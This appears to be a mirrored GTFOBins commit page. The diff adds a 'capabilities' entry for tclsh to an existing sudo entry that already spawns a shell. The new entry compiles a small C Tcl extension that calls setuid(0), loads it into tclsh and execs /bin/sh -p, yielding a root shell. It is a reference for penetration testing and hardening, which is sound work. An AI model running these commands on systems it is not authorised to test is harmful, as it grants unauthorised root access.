mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Add capabilities to tclsh.md
This commit is contained in:
parent
61314d55d0
commit
897f678133
@ -18,4 +18,11 @@ functions:
|
||||
- code: |
|
||||
sudo tclsh
|
||||
exec /bin/sh <@stdin >@stdout 2>@stderr
|
||||
capabilities
|
||||
- code: |
|
||||
echo -e '#include <tcl.h>\n#include <unistd.h>\nint SetUidCmd(ClientData, Tcl_Interp *interp, int, const char **) { return setuid(0) == -1 ? (Tcl_SetResult(interp, "Failed to set UID", TCL_STATIC), TCL_ERROR) : TCL_OK; } int Setuid_Init(Tcl_Interp *interp) { Tcl_CreateCommand(interp, "setuid", SetUidCmd, NULL, NULL); return TCL_OK; }' | gcc -shared -o setuid.so -fPIC -I/usr/include/tcl8.6 -ltcl -x c -
|
||||
./tclsh
|
||||
load ./setuid.so
|
||||
setuid
|
||||
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user